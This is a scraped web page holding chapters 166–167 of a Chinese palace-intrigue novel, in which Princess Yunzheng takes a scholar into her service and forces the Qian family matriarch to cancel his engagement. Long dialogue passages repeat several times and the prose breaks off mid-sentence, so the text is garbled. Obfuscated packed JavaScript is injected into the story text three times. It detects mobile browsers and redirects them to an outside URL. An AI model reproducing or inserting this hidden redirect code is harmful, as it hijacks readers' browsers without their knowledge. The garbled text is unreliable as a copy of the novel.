孙守信神色严肃,“我别无长物,只有一片赤胆忠心,愿奉郡主为主。” 现场一片寂静,不敢置信的睁大眼睛,啥?没听错吧? 堂堂男子,还是一个读书人,当众认一个女子为主? 天下奇闻! 但,接下去的事,更颠覆他们的三观,让他们震惊万分。 “喂,你们别太过分了。” 施东阳才不管他呢,身体一挤,将他挤到一边,“姐,我的亲姐,我啥都听您的,只求您带上我。” 其他人也帮着将唐征挤到后面,气的唐征直跳脚,“混蛋,你们不讲武德。” 云筝含笑看着他们闹腾,都是新鲜血液,都是帮手啊。 就在此时,孙守信走了过来,行了一礼,“见过锦云郡主。” 云筝抬起视线,两人的视线在空中交汇,交换了一个眼神。 计划开始了。 “你是?” 年轻男子挤开人群走上前,“我姓孙,名守信。” 云筝恍然大悟,“原来是你啊。” “您知道我?” 云筝微微一笑,“我不算孤陋寡闻。” 孙守信迟疑了一下,忽然说道,“听闻锦云郡主冰雪聪明,我有一难事始终无法想明白,还请郡主帮帮我。” 云筝拿起一个果子把玩,来吧,好戏开场了,所有人都是观众。 “说。” 孙守信神色凝重,“门不当户不对的婚姻,会幸福吗?” 全场静的出奇,竖起耳朵倾听。 云筝漫不经心的回答,“一半的机率。” 孙守信的眉头微蹙,“不被父母家人祝福的婚姻,会幸福吗?” “不会。”这一次,云筝说的斩钉截铁。 孙守信沉默了半晌,“出身贫寒,没有信心让一个娇小姐过上衣食无忧的好日子,该怎么办?” 云筝眼睛都没有眨一下,“靠嫁妆呗。” 孙守信苦笑一声,“没有嫁妆,男子只是一个落魄读书人,没有谋生的能力。” 云筝淡淡的道,“那就难办了,我建议双方坐下来好好聊一聊。” 孙守信对着她行了一个大礼,“能请郡主帮着穿针引线吗?” 唐征不乐意了,“喂,明知我姐是郡主,还让她替你跑腿,这就过份了,你配吗?” 孙守信神色严肃,“我别无长物,只有一片赤胆忠心,愿奉郡主为主。” 现场一片寂静,不敢置信的睁大眼睛,啥?没听错吧? 堂堂男子,还是一个读书人,当众认一个女子为主? 天下奇闻! 但,接下去的事,更颠覆他们的三观,让他们震惊万分。 “喂,你们别太过分了。” 施东阳才不管他呢,身体一挤,将他挤到一边,“姐,我的亲姐,我啥都听您的,只求您带上我。” 其他人也帮着将唐征挤到后面,气的唐征直跳脚,“混蛋,你们不讲武德。” 云筝含笑看着他们闹腾,都是新鲜血液,都是帮手啊。 就在此时,孙守信走了过来,行了一礼,“见过锦云郡主。” 云筝抬起视线,两人的视线在空中交汇,交换了一个眼神。 计划开始了。 “你是?” 年轻男子挤开人群走上前,“我姓孙,名守信。” 云筝恍然大悟,“原来是你啊。” “您知道我?” 云筝微微一笑,“我不算孤陋寡闻。” 孙守信迟疑了一下,忽然说道,“听闻锦云郡主冰雪聪明,我有一难事始终无法想明白,还请郡主帮帮我。” 云筝拿起一个果子把玩,来吧,好戏开场了,所有人都是观众。 “说。” 孙守信神色凝重,“门不当户不对的婚姻,会幸福吗?” 全场静的出奇,竖起耳朵倾听。 云筝漫不经心的回答,“一半的机率。” 孙守信的眉头微蹙,“不被父母家人祝福的婚姻,会幸福吗?” “不会。”这一次,云筝说的斩钉截铁。 孙守信沉默了半晌,“出身贫寒,没有信心让一个娇小姐过上衣食无忧的好日子,该怎么办?” 云筝眼睛都没有眨一下,“靠嫁妆呗。” 孙守信苦笑一声,“没有嫁妆,男子只是一个落魄读书人,没有谋生的能力。” 云筝淡淡的道,“那就难办了,我建议双方坐下来好好聊一聊。” 孙守信对着她行了一个大礼,“能请郡主帮着穿针引线吗?” 唐征不乐意了,“喂,明知我姐是郡主,还让她替你跑腿,这就过份了,你配吗?” 孙守信神色严肃,“我别无长物,只有一片赤胆忠心,愿奉郡主为主。” 现场一片寂静,不敢置信的睁大眼睛,啥?没听错吧? 堂堂男子,还是一个读书人,当众认一个女子为主? 天下奇闻! 但,接下去的事,更颠覆他们的三观,让他们震惊万分。 “喂,你们别太过分了。” 施东阳才不管他呢,身体一挤,将他挤到一边,“姐,我的亲姐,我啥都听您的,只求您带上我。” 其他人也帮着将唐征挤到后面,气的唐征直跳脚,“混蛋,你们不讲武德。” 云筝含笑看着他们闹腾,都是新鲜血液,都是帮手啊。 就在此时,孙守信走了过来,行了一礼,“见过锦云郡主。” 云筝抬起视线,两人的视线在空中交汇,交换了一个眼神。 计划开始了。 “你是?” 年轻男子挤开人群走上前,“我姓孙,名守信。” 云筝恍然大悟,“原来是你啊。” “您知道我?” 云筝微微一笑,“我不算孤陋寡闻。” 孙守信迟疑了一下,忽然说道,“听闻锦云郡主冰雪聪明,我有一难事始终无法想明白,还请郡主帮帮我。” 云筝拿起一个果子把玩,来吧,好戏开场了,所有人都是观众。 “说。” 孙守信神色凝重,“门不当户不对的婚姻,会幸福吗?” 全场静的出奇,竖起耳朵倾听。 云筝漫不经心的回答,“一半的机率。” 孙守信的眉头微蹙,“不被父母家人祝福的婚姻,会幸福吗?” “不会。”这一次,云筝说的斩钉截铁。 孙守信沉默了半晌,“出身贫寒,没有信心让一个娇小姐过上衣食无忧的好日子,该怎么办?” 云筝眼睛都没有眨一下,“靠嫁妆呗。” 孙守信苦笑一声,“没有嫁妆,男子只是一个落魄读书人,没有谋生的能力。” 云筝淡淡的道,“那就难办了,我建议双方坐下来好好聊一聊。” 孙守信对着她行了一个大礼,“能请郡主帮着穿针引线吗?” 唐征不乐意了,“喂,明知我姐是郡主,还让她替你跑腿,这就过份了,你配吗?” 孙守信神色严肃,“我别无长物,只有一片赤胆忠心,愿奉郡主为主。” 现场一片寂静,不敢置信的睁大眼睛,啥?没听错吧? 堂堂男子,还是一个读书人,当众认一个女子为主? 天下奇闻! 但,接下去的事,更颠覆他们的三观,让他们震惊万分。 “喂,你们别太过分了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“喂,你们别太过分了。” 施东阳才不管他呢,身体一挤,将他挤到一边,“姐,我的亲姐,我啥都听您的,只求您带上我。” 其他人也帮着将唐征挤到后面,气的唐征直跳脚,“混蛋,你们不讲武德。” 云筝含笑看着他们闹腾,都是新鲜血液,都是帮手啊。 就在此时,孙守信走了过来,行了一礼,“见过锦云郡主。” 云筝抬起视线,两人的视线在空中交汇,交换了一个眼神。 计划开始了。 “你是?” 年轻男子挤开人群走上前,“我姓孙,名守信。” 云筝恍然大悟,“原来是你啊。” “您知道我?” 云筝微微一笑,“我不算孤陋寡闻。” 孙守信迟疑了一下,忽然说道,“听闻锦云郡主冰雪聪明,我有一难事始终无法想明白,还请郡主帮帮我。” 云筝拿起一个果子把玩,来吧,好戏开场了,所有人都是观众。 “说。” 孙守信神色凝重,“门不当户不对的婚姻,会幸福吗?” 全场静的出奇,竖起耳朵倾听。 云筝漫不经心的回答,“一半的机率。” 孙守信的眉头微蹙,“不被父母家人祝福的婚姻,会幸福吗?” “不会。”这一次,云筝说的斩钉截铁。 孙守信沉默了半晌,“出身贫寒,没有信心让一个娇小姐过上衣食无忧的好日子,该怎么办?” 云筝眼睛都没有眨一下,“靠嫁妆呗。” 孙守信苦笑一声,“没有嫁妆,男子只是一个落魄读书人,没有谋生的能力。” 云筝淡淡的道,“那就难办了,我建议双方坐下来好好聊一聊。” 孙守信对着她行了一个大礼,“能请郡主帮着穿针引线吗?” 唐征不乐意了,“喂,明知我姐是郡主,还让她替你跑腿,这就过份了,你配吗?” 孙守信神色严肃,“我别无长物,只有一片赤胆忠心,愿奉郡主为主。” 现场一片寂静,不敢置信的睁大眼睛,啥?没听错吧? 堂堂男子,还是一个读书人,当众认一个女子为主? 天下奇闻! 但,接下去的事,更颠覆他们的三观,让他们震惊万分。 “喂,你们别太过分了。” 施东阳才不管他呢,身体一挤,将他挤到一边,“姐,我的亲姐,我啥都听您的,只求您带上我。” 其他人也帮着将唐征挤到后面,气的唐征直跳脚,“混蛋,你们不讲武德。” 云筝含笑看着他们闹腾,都是新鲜血液,都是帮手啊。 就在此时,孙守信走了过来,行了一礼,“见过锦云郡主。” 云筝抬起视线,两人的视线在空中交汇,交换了一个眼神。 计划开始了。 “你是?” 年轻男子挤开人群走上前,“我姓孙,名守信。” 云筝恍然大悟,“原来是你啊。” “您知道我?” 云筝微微一笑,“我不算孤陋寡闻。” 孙守信迟疑了一下,忽然说道,“听闻锦云郡主冰雪聪明,我有一难事始终无法想明白,还请郡主帮帮我。” 云筝拿起一个果子把玩,来吧,好戏开场了,所有人都是观众。 “说。” 孙守信神色凝重,“门不当户不对的婚姻,会幸福吗?” 全场静的出奇,竖起耳朵倾听。 云筝漫不经心的回答,“一半的机率。” 孙守信的眉头微蹙,“不被父母家人祝福的婚姻,会幸福吗?” “不会。”这一次,云筝说的斩钉截铁。 孙守信沉默了半晌,“出身贫寒,没有信心让一个娇小姐过上衣食无忧的好日子,该怎么办?” 云筝眼睛都没有眨一下,“靠嫁妆呗。” 孙守信苦笑一声,“没有嫁妆,男子只是一个落魄读书人,没有谋生的能力。” 云筝淡淡的道,“那就难办了,我建议双方坐下来好好聊一聊。” 孙守信对着她行了一个大礼,“能请郡主帮着穿针引线吗?” 唐征不乐意了,“喂,明知我姐是郡主,还让她替你跑腿,这就过份了,你配吗?” 孙守信神色严肃,“我别无长物,只有一片赤胆忠心,愿奉郡主为主。” 现场一片寂静,不敢置信的睁大眼睛,啥?没听错吧? 堂堂男子,还是一个读书人,当众认一个女子为主? 天下奇闻! 但,接下去的事,更颠覆他们的三观,让他们震惊万分。 第166章 跟钱家过招(上) 顶着无数人异样的目光云筝神色平静。 “你会什么?” 孙守信同样平静恭恭敬敬的回答“熟读四书五经精于算学。” 云筝似乎有些意外扬了扬眉“那我考考你。” 她略一沉吟“364只碗供僧3人共食1碗饭4人共喝1碗羹求僧人数。”注(1) 大家都在心里算啊好难啊。 孙守信想了想答案出来了“624人。” 好快! 云筝微微颌首继续问道“韩信点兵士兵列3纵队余2人列5纵队余2人列7纵队余4人总数多少人?”注(2) 这一次孙守信更快了答案脱口而出“347人。” 包厢里静的出奇大家都震惊的看着孙守信这么快?人才啊! 这样的人钱家有什么不满意的? 啧啧钱家过了几天好日子就忘了自己的出身吗? 云筝很满意“不错有几分才智以后你就跟着我吧。” 孙守信恭恭敬敬的行了大礼伏地认主“孙守信向主子请安。” 倒抽冷气声猛的响起妈呀他是认真的真的认主了! 他就这么看好锦云郡主? 问题是锦云郡主能给他什么?钱吗? 说句实话钱是好东西但 这么认主不想当官了? 贵公子们无法理解他们虽然想抱大腿但不想认主啊。 云筝嘴角轻轻扬起“起来吧。” 等孙守信起来后她才慢悠悠的开口“来人去跟钱家传个话问他们是怎么打算的?” 下人垂手听令。 “我给他们两个选择一若愿意嫁女儿我出钱置办一间小屋让他们小夫妻俩住以后他们就跟着我不会让钱家大小姐吃苦本郡主别的没有但有的是钱锦衣玉食不在话下。” 她的承诺价值千金。 “二取消婚约男婚女嫁各不相干但得给一定的赔偿不要钱要一个官职不低于七品。” “具体事宜让钱二爷过来谈动作要快半个时辰内必须到。” “超过时限,本郡主就带着孙公子上门提亲,聘礼会体体面面。” 众人目瞪口呆,还能这么玩? “锦云郡主真周到,方方面面都考虑到了,愿意帮孙公子准备一份体面的聘礼。” “还承诺以后会帮着小夫妻,这也太讲义气了吧。” “锦云郡主对手下真好,一认主就帮着弄一个官职。” “十年寒窗苦读,高中状元,也不过是七品官。” “妈呀,我都有些蠢蠢欲动了。” 而,钱家人听完这些后,面面相觑,脸色不好看。 钱二爷不聪明,只看到了表面的东西,“这就是锦云郡主所说的解决办法?动作挺快,就是……有些弊端,当众买官,不好吧。” 其实,朝廷是允许捐官的,但只是虚职。 让虚职化为实职,就要看钱家的本事了。 钱维表情凝重,他看到的全是坑。 “锦云郡主倒是刷足了好名声,这是千金买骨,但,她只是一个女子,要这些何用?” 若换了一个男人,他能理解。 但,云筝只是一个弱女子,做生意有几分本事,又不当官。 钱老夫人眉头紧皱,总觉得这背后另有玄机,云筝行事向来让人捉摸不透。 “她可能另有打算。” “那,我去不去?”钱二爷心里没有底,有点慌,为什么非点他的名? 钱维头疼不已,他是官身,一举一动都会被放大,一旦犯错,就会被政敌群而攻之。 所以,他不能去谈判。 “惠儿的名声不能有瑕疵,你去谈判,只要解决这个问题,一切都好说。” 这是钱家的底线。 只是,钱二爷面有难色,钱维不禁问道,“怎么了?” 钱二爷苦笑道,“大哥,你觉得我能在锦云郡主手下过几招?” 钱维沉默了,恐怕二招都过不了。 “我去吧。” 钱老夫人断然喝道,“你不合适。” 她站了起来,神色肃穆,“我去。” 她很久没出门了,却要为了儿孙收拾烂摊子,不得不出门跟人谈判。 钱维眼眶 红了,跪倒在她面前,“娘,是孩儿无能,让您老跟着受罪。” 钱老夫人轻抚着他的脑袋,“只要你们好好的,我吃点苦又算什么,一切都是为了钱家。” “来人,取我一品诰命服。” 同福客栈 短短时间内,这消息楼上楼下已经传遍,彻底激发了大家的热情。 近距离围观八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958186|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卦,激动! “钱家二爷会来吗?” “不好说,钱家未必会买锦云郡主的账。” 就在大家议论纷纷时,几个丫环搀扶着一个老妇人走进来。 大家定睛一看,居然是一品诰命夫人! “咦,这是钱老夫人啊,她很久没有出来走动了。” 钱老夫人仰头看向楼上,楼上的云筝正好看过来,四目相对,火花四溅。 云筝看着她身上的诰命服,嘴角轻扬,来者不善啊。 “钱老夫人,怎么是您?您两个儿子都不顶用,需要您这个年事已高的老太太重新出山?” 钱老夫人眼中闪过一丝恼意,但很快就消失不见。 “敢问锦云郡主,我代表钱家跟你谈判,可行?” 云筝微微一笑,“当然,您可是朝廷亲封的诰命夫人,谁敢拒绝?” 这是嘲讽对方兴师动众,小题大作,以权压人。 要知道,诰命服不是常服,只有在最重要的场合才穿。 像云筝,平时进宫都不穿郡主服,只有正式场合才会穿。 两人刚见面就隔空过了一招。 钱老夫人身着一品诰命服,全场地位最高,都要给她行礼。 孙守信对着钱老夫人行了一礼,礼仪挑不出毛病。 钱老夫人打量了他几眼,九千岁是从哪里挑出这么一个人? “孙公子,老婆子年纪大了,就托大说几句肺腑之言。” 孙守信极为客气,“您说。” “孙公子,不是老身不愿将孙女嫁给你,而是……惠儿这孩子从小没了娘,亲爹又去了江南当差,是我一把屎一把尿将她养大。” “我舍不得让她吃一点苦,孙公子一表人材,尽可以配名门贵女,但我家孙女被我养的天真烂漫,什么都不懂,不是当贤内助的料。” “全是老身的错。” 说到这里,“扑通”一声,钱老夫人忽然跪下了,就这么直挺挺的跪在孙守信面前。 全场皆惊。 这一跪,跪出了钱家的悲情,跪出了皇上的怜悯,跪出了钱惠的心疼和怨恨。 这一跪,硬是将对钱家不利的局面翻转过来。 姜还是老的辣! 云筝被将了一军,眼睛危险的眯了起来。 遇强则强,战意被彻底点燃! 第167章 跟钱家过招(中) 孙守信都傻掉了,被打的猝不及防。 钱老夫人眼含热泪,“孙公子,请看在老身爱孙心切的一片拳拳之心,两家的婚约就此作罢吧,求您了。” 一个皇上信任有加的奶嬷嬷,一个年事已高的诰命夫人,就这么哭求,一下子就激起了大家的同情心。 大家纷纷帮着说话,“孙公子,钱老夫人也不容易,你就成全她吧。” “堂堂一品诰命夫人向你下跪哀求,你就高抬贵手吧。” 孙守信头皮一阵发麻,手足无措,事先没有这样的排演方案啊。 “老夫人,您先起来,这事我做不了主。” 钱老夫人不肯起来,“你是要找家中长辈作主?应该的,你家中长辈还有什么人?老身亲自跟他说。” 她将倚老卖老,发挥的淋漓尽致。 孙守信自己搞不定,索**给能搞定的人,他看向云筝,“主子,还请您为我作主。” 钱老夫人顺着他的视线看过去,瞳孔剧震,“主子?” 孙守信嘴角轻扬,“对,就在刚才,我认主了。” 钱老夫人不敢置信的睁大眼睛,才短短半个时辰,她是怎么办到的? 或者,这一开始就是一个局,针对钱家的局?! 她越想越担心。 云筝神色淡淡的,“老夫人,我让人传话,应该说的很清楚了,两家可以退亲的。” “不知老夫人为何要这般惺惺作态?是倚老卖老?道德**?” “博取同情?还是求得皇上的怜悯?” “或者是,为你孙女披上一层受害者的金光,以待高嫁?” 明明可以完美退婚,钱老夫人却豁出去了,以一品诰命夫人之尊,以老残之躯,跪在孙守信面前。 这一跪,是要彻底断送孙守信的前途,不给他起来的机会。 这一跪,让钱家成为完美受害者,让世人同情钱家,从而得到更多的好处。 最起码,皇上会心疼,会加倍的怜惜钱惠。 可,钱家是受害者,孙守信就是加害者了,隐在他背后的九千岁又算什么? 这老太婆明知此事是九千岁所为,还想掀翻九千岁,让九千岁的威信扫地。 那,就不要怪她不留情面了 。 一连串的指控让钱老夫人脸色大变,全被说中了。 ‘“我不是,我没有,你误会了。 云筝嘴角扬起一抹凉薄的弧度,“那就站起来,人要堂堂的站着,不能老学狗跪着。 这话阴阳了钱老夫人,也刻薄了钱家的起家过程。 钱家是靠给人当奴才,喂奶才一步步起来的,当狗当久了,都站不直了。 钱老夫人如被打了一巴掌,老脸通红,又羞又气。 这话太毒了,直接掀了她的老底,让她这几十年的尊荣都踩在脚底下。 贵公子们的脸色也变了,他们也傻了,同情谁不好,同情一个狗奴才。 他们不屑跟钱家为伍! “何必呢,我还是更喜欢锦云郡主大大方方的做派。 “我也是,有一说一,有二说二,光明磊落,做人就该这样。 “有些人啊,走惯了捷径,就不愿意踏踏实实做人做事了。 钱老夫人被丫环颤颤悠悠的扶起来,深吸一口气,“郡主,我是来解决问题的。 云筝睁着一双无辜的眼睛,“啥?我以为你是来解决制造问题的人。 “孙守信,你也很惨,老夫人这一跪是要你的命啊。 孙守信闻声色变,“啊,怎么说? 云筝一脸的同情,“你一个白身居然逼的一品诰命夫人下跪,御史们会**你,让你以死谢罪来维护朝廷的体面。 这话一出,钱老夫人的脸色剧变。 大家看她的眼神变了,不再是钦佩,而是惊恐和畏惧。 好恶毒的老太太,心机好重,皇上知道吗? 孙守信听明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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云筝凑过去,在钱老夫人耳边轻轻说道,“内务府广储司的势力归我,顺便把孙守信安**广储司,做个……银库司库。” 内务府广储司统辖银、皮、缎、衣、茶、瓷六库,银库是重中之重,掌管金银钱币和珠宝玉器。 主事的是员外郎2人,再下面就是司库2人,负责管帐。 换句话说,司库是真正掌握银库的人,也是各方势力必争的位置。 钱老夫人后背发寒,不敢置信的看着云筝。 她知不知道自己在说什么? 区区一个弱女子,居然想将手伸进内务府,还堂而皇之的索要权利。 这野心昭然若揭。 她怎么敢的?就不怕皇上忌惮吗? “郡主,老身恐怕无能为力。” 钱可以给,但权力必须牢牢掌控在自己手里。 云筝淡淡的道,“怎么会?如今内务府广储司的主官是你二儿媳的亲爹,就是说,你们是一伙的,他是你们钱家的卒子。” 她似笑非笑,“你以为,没有皇上的默许,我敢乱来吗?” 她要钱干吗?最后还是便宜了皇上,不如一点点蚕食权利。 钱老夫人的内心狂震,“你……你什么意思?” 云筝卖了个关子,“不出三日,你就知道了。” 她越是这样,钱老夫人心里就越慌,看似荒谬的话,从锦云郡主嘴里说出来,就有几分真实。 是皇上有什么安排?为什么不直接跟她说,反而绕了一个圈子? 难道是对钱家不满了? “还请郡主明言。” 云筝退开两步,保持一定的距离,“行了,该说的都说了。” “老夫人,轮到你做抉择了,一和二,选一个吧。” 钱老夫人心思飞转,“我其实很喜欢孙公子……” 她更希望对方主动退婚,自家担一个受害者的名份,又不想给人家半点补偿,哪有这样的好事? 云筝不耐烦的喝道,“我数到三,如果不选,就默认第一个,我这就替孙公子上门提亲。” “一,二……” 不等她说完,钱老夫人就做出了决定,“我选二。” 退婚,必须退。 她花了十几年时间,精心培养出来的孙女,绝不可能嫁给普通人。 “是我舍不得孙女,我不想让她吃一点苦,那孩子懵懂天真,凡事只听长辈的,我只想给她最好的。” 她最大的弱点是钱惠,名声不能毁了,只能将过错都揽在自己身上,谁会跟一个功勋老人计较? 云筝嘴角轻轻上扬,“行,我就成人之美。” “孙守信,你可愿解除婚约?” 孙守信神色黯然,却强撑道,“强扭的瓜不甜,我不强求。” 云筝微微颌首,“行,把婚书和信物还给钱老夫人。” 太干脆了,让钱老夫人心里发慌,她是出了名的狠辣,不会有什么后招吧。 她想了想,取出一张房契,“这是一套南城的小院子,不大,算是我们钱家的赔礼。” “另外,按照约定,七日内一定会为你安排一个官职。” 至于,是不是内务府的,就不好说了。 就等三日内的消息。 孙守信拱了拱手,“那就多谢老夫人,在此,祝钱大小姐平安喜乐,觅得良缘,夫妻恩爱,子孙满堂。” 他言语诚恳,大方送上祝福。 引的众人夸赞,“孙公子大气。” “孙公子无须伤神,属于你的好姻缘还在后面呢。” “钱家女错过你,是她的损失,钱家小看你,是他们狗眼看人低。” 钱老夫人气结,出了钱,搭上人脉资源,还不落一个好字。 她忍不住看向云筝,云筝冲她微微一笑,“九千岁就在隔壁,他要见你。” 原来在这里等着她呢,钱老夫人脸色微变,“我……出来久了,有些疲倦,想早点回去休息,请您跟九千岁说一声。” 她迫不及待的转身往外跑,这会儿腿不酸,腰不疼了。 身后传来一道幽幽声音,“也行吧,让九千岁好好查一查钱维在任上的所做所为,找人编成戏曲,大江南北的唱一唱。” 那就等着身败名裂吧。 钱老夫人的双脚如被钉住了,再也走不出一步,浑身都在颤抖。 妖孽,恶魔! 她只能跟着云筝走向隔壁,打开门,俊逸的男子映入眼帘。 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958188|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 